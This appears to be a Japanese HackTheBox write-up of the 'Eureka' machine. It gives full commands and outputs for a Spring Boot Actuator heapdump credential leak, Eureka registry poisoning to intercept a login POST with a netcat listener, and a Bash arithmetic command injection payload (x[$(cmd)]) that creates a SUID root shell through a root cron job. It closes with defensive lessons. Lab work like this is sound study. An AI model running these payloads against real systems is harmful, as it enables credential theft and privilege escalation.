HackTheBox: Eureka — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80(→furni.htb)/8761
→
22/80(→furni.htb)/8761
/actuator/heapdump 公開
Spring Boot Actuator誤設定
→
Spring Boot Actuator誤設定
JVMメモリから資格情報復元
oscar190 / EurekaSrvr
→
oscar190 / EurekaSrvr
Eurekaレジストリ汚染
偽インスタンス登録+実インスタンス削除
→
偽インスタンス登録+実インスタンス削除
/login POSTをMITM捕捉
miranda.wise@furni.htb
→
miranda.wise@furni.htb
miranda-wise SSH
user.txt ✓
→
user.txt ✓
log_analyse.sh のBash算術評価
developersグループで書込可能
→
developersグループで書込可能
root cronでコマンドインジェクション
x[$(cmd)] トリック
→
x[$(cmd)] トリック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 1000 -T4 --max-retries 2 10.129.96.11
RESULT
Not shown: 65509 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8761/tcp open unknown (その他、filtered多数 — ノイズ)
バージョン・スクリプトスキャン
BASH
nmap -Pn -sV -sC -p 22,80,8761 10.129.96.11
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA) | 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA) |_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://furni.htb/ 8761/tcp open http Apache Tomcat (language: en) | http-auth: | HTTP/1.1 401 |_ Basic realm=Realm Service Info: OS: Linux
🚨
重要発見: ポート80は
furni.htb vhostへリダイレクトされる。
ポート8761はBasic認証で保護された Netflix Eureka Service Discovery Server
(マシン名の由来)。/etc/hosts に 10.129.96.11 furni.htb を追記する。
furni.htb の調査 — Spring Boot製家具販売サイト
BASH
curl -s http://furni.htb/ | grep -oE 'href="[^"]*"' | sort -u
RESULT
href="/about" href="/blog" href="/cart" href="/contact" href="/login" href="/register" href="/services" href="/shop"
ℹ️
レスポンスヘッダーに
Vary: Origin / Vary: Access-Control-Request-Method /
X-Frame-Options: DENY などSpring Securityの既定ヘッダーが多数存在し、
バックエンドがSpring Boot製であることを確認。
PHASE 2
Spring Boot Actuator /actuator/heapdump 公開 → 資格情報漏洩
Actuatorエンドポイントの公開状況確認
BASH
for ep in actuator actuator/health actuator/env actuator/heapdump actuator/mappings actuator/beans; do
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://furni.htb/$ep")
echo "$ep -> $code"
done
RESULT
actuator -> 200 actuator/health -> 200 actuator/env -> 200 actuator/heapdump -> 200 actuator/mappings -> 200 actuator/beans -> 200
🚨
management.endpoints.web.exposure.include=* 相当の誤設定で、
本来運用者限定のActuator管理エンドポイントが全て認証なしで公開されている。
中でも /actuator/heapdump はJVMヒープ全体(稼働中のプロセスメモリ)を
ダンプしてダウンロードさせる、最も危険度の高いエンドポイント。
heapdumpのダウンロード(約76MB)
BASH
curl -s -o heapdump "http://furni.htb/actuator/heapdump" -w "HTTP:%{http_code} size:%{size_download}\n"
RESULT
HTTP:200 size:80165337
strings による資格情報抽出
BASH
strings heapdump | grep -E 'jdbc:mysql|eureka.client.service-url|EurekaSrvr|spring.datasource.username' | sort -u
RESULT(抜粋)
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
jdbc:mysql://localhost:3306/Furni_WebApp_DB
heapdumpから復元した資格情報
oscar190 : 0sc@r190_S0l!dP@sswd
EurekaSrvr : 0scarPWDisTheB3st
✅
JVMメモリ上に平文で残っていたJDBC接続文字列と、Eureka Server (:8761) の
Basic認証資格情報の両方を単純な
strings + 正規表現グレップだけ
で復元できた(JDumpSpider等の専用ツールなしでも十分)。
PHASE 3
oscar190 SSHログイン & アプリケーション構成調査
oscar190でSSHログイン
BASH
sshpass -p '0sc@r190_S0l!dP@sswd' ssh oscar190@10.129.96.11 "whoami; hostname; id"
RESULT
oscar190 eureka uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
ユーザー一覧・sudo権限の確認
BASH
cat /etc/passwd | grep -E '/bin/bash$' sudo -l
RESULT
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
sudo: a terminal is required to read the password; ...(sudo権限なし)
ℹ️
実シェルを持つのは
oscar190 と miranda-wise の2名のみ。
user.txt は oscar190 ではなく miranda-wise が所有しているため、
さらにピボットが必要(oscar190はDB資格情報漏洩によるfootholdに過ぎない)。
Eurekaサーバー上の実稼働アプリ構成の把握
BASH
ps auxww | grep java ls -la /var/www/web/
RESULT
cloud-gateway Eureka-Server Furni static user-management-service # 4つの独立したSpring Bootアプリが稼働: # cloud-gateway (8080) — Spring Cloud Gateway (ルーティング) # user-management-service (8081) — ログイン/登録処理 # Furni (8082) — 家具販売サイト本体 # Eureka-Server (8761) — サービスディスカバリ
cloud-gatewayのルーティング設定を確認
BASH
cat /var/www/web/cloud-gateway/target/classes/application.yaml
RESULT(抜粋)
spring:
cloud:
gateway:
routes:
- id: user-management-service
uri: lb://USER-MANAGEMENT-SERVICE
predicates:
- Path=/login,/logout,/register,/process_register
- id: furni
uri: lb://FURNI
predicates:
- Path=/**
🚨
核心となる設計上の弱点:
/login 等へのリクエストは
lb://USER-MANAGEMENT-SERVICEという論理名でルーティングされる。
実際の転送先IPはGatewayが都度Eureka Serverに問い合わせて解決するため、
Eurekaのサービスレジストリを汚染できれば、ログインPOSTそのものを
攻撃者のホストへ誘導できる(サービスディスカバリー経由のMITM)。
PHASE 4
Eurekaサービスレジストリ汚染 → ログイン資格情報MITM → user.txt
現在のレジストリ登録状況を確認
BASH
curl -s -u 'EurekaSrvr:0scarPWDisTheB3st' \ "http://10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE" \ -H "Accept: application/json" | python3 -m json.tool
RESULT(抜粋)
"instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
"hostName": "localhost",
"ipAddr": "10.129.96.11",
"status": "UP"
ℹ️
本物のインスタンスIDは
localhost:USER-MANAGEMENT-SERVICE:8081 という
固定形式(IPアドレスではなく localhost)。DELETE時にこの正確な文字列が必要。
攻撃者ホストを指す偽インスタンスを登録
API (Eureka REST, POST /eureka/apps/<app>)
curl -s -X POST "http://EurekaSrvr:0scarPWDisTheB3st@10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE" \
-H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "evil",
"hostName": "10.10.15.200",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.15.200",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {"$": 8081, "@enabled": "true"},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}' -w "\nHTTP:%{http_code}\n"
RESULT
HTTP:204
本物のインスタンスを削除(継続的に繰り返す必要あり)
API (DELETE /eureka/apps/<app>/<instanceId>)
curl -s -X DELETE \ "http://EurekaSrvr:0scarPWDisTheB3st@10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081"
⚠️
本物のインスタンスはGateway側が約20秒間隔でハートビート再登録を行うため、
1回削除しただけではすぐ復活する。攻撃者ホストのリスナーを起動した状態で
「本物のインスタンスIDをGETで確認→存在すればDELETE」を2〜3秒間隔でループ
させ、偽インスタンスのみが残る状態を維持しながらログイン試行を待つのが実用的。
リスナー起動 & ログイン資格情報の捕捉
BASH (ターミナル1: リスナー)
nc -lvnp 8081
RESULT(捕捉した生HTTPリクエスト)
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
...
host: 10.10.15.200:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=...
✅
rootのcron(
miranda-Login-Simulator.sh、約1分間隔で実行)が送信する
実際のログインPOSTが、レジストリ汚染によりそのまま攻撃者のリスナーへ転送されてきた。
URLデコードすると miranda.wise@furni.htb / IL!veT0Be&BeT0L0ve
という平文資格情報が得られる。
捕捉したログイン資格情報
miranda.wise@furni.htb : IL!veT0Be&BeT0L0ve
miranda-wiseでSSHログイン → user.txt
BASH
sshpass -p 'IL!veT0Be&BeT0L0ve' ssh miranda-wise@10.129.96.11 "id; cat /home/miranda-wise/user.txt"
RESULT
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers) 3094ff0df47671a77a8f94bbd8977733
user.txt — miranda-wise
3094ff0df47671a77a8f94bbd8977733
ℹ️
miranda-wise は developers グループに所属。この所属が
次の権限昇格フェーズの鍵になる。
PHASE 5
権限昇格の下調べ — log_analyse.sh のBash算術評価コマンドインジェクション
/opt 配下のroot所有スクリプトを確認
BASH
ls -la /opt/
RESULT
drwxrwx--- 2 root www-data heapdump
-rwxrwxr-x 1 root root log_analyse.sh
drwxr-x--- 2 root root scripts
ℹ️
log_analyse.sh はroot所有だが全ユーザー実行可(755)。
pspy等によるプロセス監視で、rootのcronがこのスクリプトを
/var/www/web/cloud-gateway/log/application.log に対して
約1分間隔で実行していることを確認。
脆弱な analyze_http_statuses() 関数の特定
NOTE (/opt/log_analyse.sh 抜粋)
analyze_http_statuses() {
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
...
if [[ "$existing_code" -eq "$code" ]]; then
...
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
🚨
[[ ... -eq ... ]] はBashの算術コンテキストで両辺を評価する。
$code がログの1行から抽出した外部入力そのままであり、
その値に x[$(cmd)](配列インデックス式としての妥当な算術式)を仕込むと、
評価時に cmd がroot権限で実行される
(CWE-78 Bash算術コンテキストコマンドインジェクション)。
ログファイルへの書込経路 — developersグループの間接書込権限
BASH
ls -la /var/www/web/cloud-gateway/log/
RESULT
drwxrwxr-x 2 www-data developers log/
-rw-rw-r-- 1 www-data www-data application.log
⚠️
application.log 自体はwww-data所有でmiranda-wiseから
直接上書きはできないが、親ディレクトリが developers グループに書込可能
なため、mv application.log application.log.bk で既存ファイルを退避し、
同名の新規ファイル(miranda-wise所有)を作成すれば、次にrootのcronが
そのファイルを読む際には攻撃者が完全に内容を制御できる。
PHASE 6
root cronへのコマンドインジェクション → root.txt
ペイロードの投入(継続的な再注入が必要)
BASH
ssh miranda-wise@10.129.96.11 'cd /var/www/web/cloud-gateway/log && \ mv application.log application.log.bk 2>/dev/null; \ echo "HTTP Status: x[\$(cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash)]" > application.log'
⚠️
クォートの罠(実機検証で発見): cloud-gatewayアプリ自身が同じログファイルへ
継続的に書き込むため、1回だけの注入では次のアプリ出力で上書きされ、rootのcron
(約1分間隔)が発火する前に消えてしまうことがある。数秒おきに再注入し続ける
ことで確実に捕捉できる。また上記コマンドはローカルの外側シングルクォートで
リモートコマンド全体を囲み、内側はダブルクォート+
\$という
構成が必須: ダブルクォート内の\$はリモートシェルのecho実行時点で
バックスラッシュが除去されリテラルな$になるため、
ログファイルには正しく x[$(cmd)](バックスラッシュ無し)が書き込まれる。
誤って全体をシングルクォートのみで囲むと、バックスラッシュがそのまま残ってしまい
log_analyse.sh側の算術評価が $(...) を認識できず発火しない。
数秒間隔で再注入しつつSUIDバイナリの出現を待つ
BASH
while true; do
ssh miranda-wise@10.129.96.11 'cd /var/www/web/cloud-gateway/log && \
mv application.log application.log.bk 2>/dev/null; \
echo "HTTP Status: x[\$(cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash)]" > application.log; \
ls -la /tmp/rootbash 2>/dev/null'
sleep 5
done
RESULT(発火時)
-rwsrwsrwx 1 root root 1183448 Nov 3 16:34 /tmp/rootbash
✅
root cronによるコマンドインジェクション成功。 実測では注入開始から
約60秒以内にSUID付き
/bin/bashコピーが生成されることを確認
(ペイロード投入からこの再現性を複数回のタイミング実測で確認済み)。
root.txt 取得
BASH
ssh miranda-wise@10.129.96.11 "/tmp/rootbash -p -c 'id; cat /root/root.txt'"
RESULT
uid=1001(miranda-wise) gid=1002(miranda-wise) euid=0(root) egid=0(root) groups=0(root),1002(miranda-wise),1003(developers) 3620ed3a81837edb608b71e7ed6f0825
root.txt — root
3620ed3a81837edb608b71e7ed6f0825
ℹ️
-p オプションはSUIDビットで得た実効root権限をbash自身が
ドロップしないようにするために必須(付けない場合、euidがuidに戻されてしまう)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — miranda-wise
3094ff0df47671a77a8f94bbd8977733
root.txt — root
3620ed3a81837edb608b71e7ed6f0825
窃取した資格情報
| 項目 | 値 | 入手経路 |
|---|---|---|
| DB/アプリ資格情報 | oscar190 : 0sc@r190_S0l!dP@sswd | Spring Boot Actuator /actuator/heapdump のJVMメモリ文字列 |
| Eureka Registry資格情報 | EurekaSrvr : 0scarPWDisTheB3st | 同上(heapdump内のeureka.client.service-url.defaultZoneプロパティ) |
| ログイン資格情報 | miranda.wise@furni.htb : IL!veT0Be&BeT0L0ve | Eurekaサービスレジストリ汚染によるMITM(/login POST捕捉) |
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Actuator heapdump公開 | Spring Boot Actuator (Furniアプリ) | DB/サービスディスカバリ資格情報の漏洩 | Critical | 認証なしで/actuator/heapdumpをダウンロードしstringsで平文資格情報を抽出 |
| Eurekaサービスレジストリ汚染 | Netflix Eureka Server + Spring Cloud Gateway | ログイン資格情報のMITM窃取 | High | 偽インスタンス登録+本物インスタンス削除の継続でlb://論理名ルーティングを乗っ取り |
| Bash算術コンテキストコマンドインジェクション | /opt/log_analyse.sh(root cron実行) |
権限昇格(root RCE) | Critical | [[ "$a" -eq "$b" ]]にx[$(cmd)]形式の外部入力を混入させcron実行時にroot権限でコマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート+バージョンスキャン、vhost特定 | 22/80(→furni.htb)/8761、Eureka Server検出 |
| 2 | 資格情報漏洩 | Actuator heapdump + strings | oscar190、EurekaSrvr資格情報 |
| 3 | Foothold | SSH + アプリ構成調査 | 4アプリ構成・cloud-gatewayルーティング把握 |
| 4 | レジストリ汚染 | Eureka REST API(POST/DELETE) + リスナー | user.txt(miranda-wise資格情報捕捉) |
| 5 | 権限調査 | log_analyse.sh静的解析、developers所属確認 | Bash算術評価インジェクションのベクタ特定 |
| 6 | 権限昇格 | 継続的ペイロード再注入 + root cron待機 | root.txt(SUID bashでroot化) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
Spring Boot Actuatorの全エンドポイントが認証なしで公開(exposure.include=*) |
Actuatorはmanagement.endpoints.web.exposure.includeで必要最小限(health等)のみ公開し、heapdump/env/beans等は管理者ネットワーク限定または別ポート+認証必須にする。 |
| サービスディスカバリ(Eureka)のレジストリAPIが、漏洩した固定資格情報のみで防御されている | Eureka Server自体をmTLS等でクライアント認証し、登録可能なインスタンス情報(hostName/ipAddr)をネットワークACLで制限する。資格情報はハードコードせずSecret管理サービスから取得する。 |
| ログ解析スクリプトが外部入力(ログ内容)をBash算術コンテキストで直接評価 | -eq/-lt等の算術比較の前に対象値が数値のみかを[[ "$x" =~ ^[0-9]+$ ]]等で検証する。シェルスクリプトでの数値比較は可能な限りcase文や文字列比較に置き換える。 |
| root cronが処理するログファイルの親ディレクトリが低権限グループに書込可能 | root権限プロセスが読み書きするファイルのディレクトリ権限は、書込者を明確に分離し(例: ログ専用サービスアカウント)、一般開発者グループに書込権限を与えない。 |
